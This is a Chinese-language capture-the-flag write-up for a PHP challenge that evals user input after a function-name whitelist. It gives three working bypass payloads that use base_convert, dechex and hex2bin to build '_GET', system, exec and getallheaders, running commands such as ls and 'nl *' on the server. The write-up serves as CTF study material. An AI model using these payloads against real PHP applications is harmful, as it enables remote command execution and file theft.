preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这道题主要利用base_conver()这个函数,他不止可以转到16进制,还能转到36进制,可以带所有小写字母
36进制
是数据的一种表示方法。同我们日常生活中的表示法不一样。它由0-9,A-Z组成,字母不区分大小写。与10进制的对应关系是:0-9对应0-9;A-F对应10-35。
2.解法一
相关函数
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}(($$pi){abs});&pi=system&abs=ls
c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
#pi和abs是数学函数中最短的
#base_convert(37907361743,10,36)="hex2bin"
#dechex(1598506324)="5f474554"
#hex2bin(5f474554)="_GET"
#$pi="_GET";$_GET{pi}($_GET{abs})&pi=system&abs=ls
#$pi="_GET";system(ls);
解法二
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
#$pi(696468,10,36)=exec
#$pi(8768397090111664438,10,30)=getallheaders
#$pi(8768397090111664438,10,30)(){1} = getallheaders()
#exec(getallheaders(){1})
解法3
1.这种方法是利用定义时直接使用来节省
?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
#($pi=base_convert)(1751504350,10,36) 这一步不仅定义了$pi也执行了base_convert(1751504350,10,36)
#dechex(1852579882)=6e6c202a
#hex2bin('6e6c202a')=nl *
#base_convert(1438255411,14,34)=hex2bin
#即最后为system(nl *)读取当前目录下所有文件
会报错但是能执行